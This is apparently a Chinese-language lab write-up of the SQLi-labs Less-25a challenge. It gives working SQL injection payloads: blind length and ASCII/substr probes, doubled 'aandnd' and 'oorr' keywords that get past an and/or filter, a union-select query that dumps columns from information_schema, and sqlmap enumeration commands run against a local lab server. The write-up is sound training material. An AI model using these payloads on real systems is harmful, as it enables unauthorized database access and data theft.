1. 题目分析
根据less24的经验以及通过?id=1 aandnd 1=2 --+
和?id=1 aandnd 1=1 --+
可以判断出id的类型为int
;并且可以使用盲注或联合查询两种方法解决的题目。
一下主要回顾盲注的解题思路:
False页面:
True页面:
之前学习过盲注,我们知道盲注主要分为布尔盲注和时间盲注,同时再回忆一下要使用的函数:
- length() :判断字长
- substr(): 从字符串中取字
- ascii() : 利用ascii爆破字符串的值
2. 注入思路
2.1 盲注
盲注是一个非常麻烦的事情,这里就简单说一下破解数据库名字的步骤,后面的爆表等过程在Less-8有详细讲过。
首先我们要确定使用的databases()
的长度:
通过尝试得出(同时要注意绕过or
和and
的过滤)
?id=1 aandnd length(database())=8 --+
得知数据库名字的长度是8
然后利用ascii()
+substr()
猜解每一个字母。
id=1 aandnd ascii(substr(database(), 1, 1))=115 --+
这样猜出第一个字母的ascii为115,对应字母s
。
以此类推,直到猜解全部字符为security
。
2.2 联合注入
给出一条查询字段的payload
?id=-1 union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name="users" aandnd table_schema="security"),3 --+
联合注入很简单,和Less-25基本没有区别。
3. SQLmap注入
盲注类型的题目手注起来是最浪费时间的,在了解原理和手法以后,直接用工具做是比较优的选项。当然如果你对手注有着别样的执着,你可以选择手动挡,这里我就用自动挡了。
打开SQLmap:
首先判断当前数据库的名字:
sqlmap -u 192.168.0.xxx:7788/sqli/Less-25a/?id=1 --batch --current-db
SQLmap果然还是强,光payload
就整了三种,这里PHP版本,Apache版本都整出来了。
然后我们看一下security
数据库下面有哪些数据表
sqlmap -u 192.168.0.xxx:7788/sqli/Less-25a/?id=1 --batch --tables
接着看一下users
表中的字段都有什么
sqlmap -u http://192.168.0.106:7788/sqli/Less-25a/?id=-1 -T users --columns --fresh-queries
但是不知道为什么这里SQLmap翻车了,users
字段只能检索到id
和username
。
关掉--batch
参数,跟着提示来发现一个问题:
这里SQLmap说他不能检索字段,因此要用一个文件去一个一个的匹配:
而默认使用的文件是/usr/share/sqlmap/data/txt/common-columns.txt
,查看这个文件后。我想到可能是SQLmap使用的password
被过滤成为了passwd
因此检索不出来。我在里面加了一个passwoorrd
后发现可以了。
其实SQLmap可以使用脚本来进行绕过,不过我还没了解过这方面的使用,因此只能这样解题了。等对SQLmap掌握的更熟练以后,我会补充上去的。